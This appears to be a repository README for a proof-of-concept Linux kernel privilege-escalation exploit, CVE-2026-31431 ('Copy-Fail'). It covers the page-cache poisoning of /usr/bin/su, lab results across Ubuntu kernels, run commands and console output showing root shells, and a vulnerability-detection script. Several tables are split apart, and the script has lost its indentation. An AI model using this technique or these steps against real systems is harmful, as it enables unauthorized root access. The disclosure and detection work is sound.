
Proof-of-concept exploit for CVE-2026-31431 (Copy-Fail), a Linux kernel AF_ALG and splice() flaw enabling page cache poisoning and local privilege escalation. Includes analysis, lab results, and detection script.
This repository contains an in-depth analysis, Proof-of-Concept (PoC), and laboratory test results for the CVE-2026-31431 vulnerability, popularly known as "Copy-Fail".
Copy-Fail exploits a logic flaw in the Linux Kernel’s Crypto API (AF_ALG) combined with the splice() system call. It allows an unprivileged local attacker to perform Page Cache Poisoning, leading to Local Privilege Escalation (LPE).
Unlike traditional exploits that modify files on the disk, Copy-Fail targets the Page Cache (RAM) directly. When a file is read, the kernel stores a copy in RAM to enhance performance. Due to a memory management bug in the authenc algorithm on specific kernel versions, an attacker can trick the kernel into overwriting these "read-only" memory pages.
By poisoning the memory pages of SETUID binaries like /usr/bin/su, it is possible to bypass authentication and spawn a root shell.
Tests were conducted across multiple Ubuntu distributions, specifically examining the impact of kernel backporting and patch management.
| Distribution | Kernel Version | Patch Date | Result | Observation |
|---|---|---|---|---|
| Ubuntu 24.04 | 6.8.0-87-generic | Oct 2025 | ❌ Failed | Security updates active |
| Ubuntu 22.04 | 5.15.0-125-generic | Sep 2024 | ✅ SUCCESS | Vulnerable (Unpatched) |
| Ubuntu 18.04 | 4.15.0-197-generic | Nov 2022 | ✅ SUCCESS | Vulnerable (Unpatched) |
Kernel version numbers can be misleading. While "newer" kernels like 6.8 are protected through security patches, older or EOL (End of Life) kernels like 4.15 and 5.15 remained fully vulnerable due to missing backported fixes.
During the research, a striking result was obtained by testing two different Ubuntu 22.04 systems sharing the same major kernel version:
| Kernel Version |
|---|
This test proves that system security cannot be measured solely by the major version number. A server running 5.15.0-125 can be rooted in seconds, whereas 5.15.0-170 completely blocks the attack.
Successful Exploitation Output (Kernel 5.15.0-125):
$ python3 ubuntu_22.04_copy_fail_exploit.py
[*] Poisoning /usr/bin/su (Ubuntu 22.04 / Kernel 5.15)...
[+] Exploit completed. Triggering Root...
# id
uid=0(root) gid=1004(jastin) groups=1004(jastin)
# whoami
root
# export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
# /bin/bash -i
root@ovh-net-dream01:/tmp#
The PoC was developed using ctypes to ensure compatibility across different Python versions (specifically for versions lacking native os.splice support).
sudo modprobe af_alg algif_aead authenc echainiv
python3 final_exploit.py
$ python3 ubuntu_18.04_copy_fail_exploit.py
[*] /bin/su zehirleniyor (Kernel 4.15)...
[+] Bellek zehirlendi! Root tetikleniyor...
# id
uid=0(root) gid=1004(jastin) groups=1004(jastin)
# whoami
root
# export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
# /bin/bash -i
root@ovh-net-dream02:/tmp#
sync; echo 3 | sudo tee /proc/sys/vm/drop_caches
# 1. Check Kernel version
# uname -r
# 2. Check loaded modules (Safe if no output)
# lsmod | grep -E "algif_aead|authencesn"
# 3. Critical Test — authencesn bind
python3 -c "
import socket
try:
s = socket.socket(38, 5, 0)
s.bind(('aead', 'authencesn(hmac(sha256),cbc(aes))'))
print('[!] CRITICAL — System Vulnerable!')
s.close()
except:
print('[+] Secure — authencesn unreachable')
"
# 4. setuid binary hash (referans)
sha256sum /usr/bin/su /usr/bin/sudo /usr/bin/passwd
Assessment Table:
| Result | Meaning |
|---|---|
| No lsmod output + bind error | ✅ Secure |
| lsmod output exists OR bind successful | ⚠️ Vulnerable, apply patches immediately |
Disclaimer: This research and PoC are for educational and authorized security testing purposes only. Usage on unauthorized systems may result in legal consequences..
| Patch Date |
|---|
| Result |
|---|
| Status |
|---|
| 5.15.0-125 | Sep 2024 | ✅ SUCCESS | Vulnerable (Exploit Triggered) |
| 5.15.0-170 | Jan 2026 | ❌ FAILED | Secure (Patched) |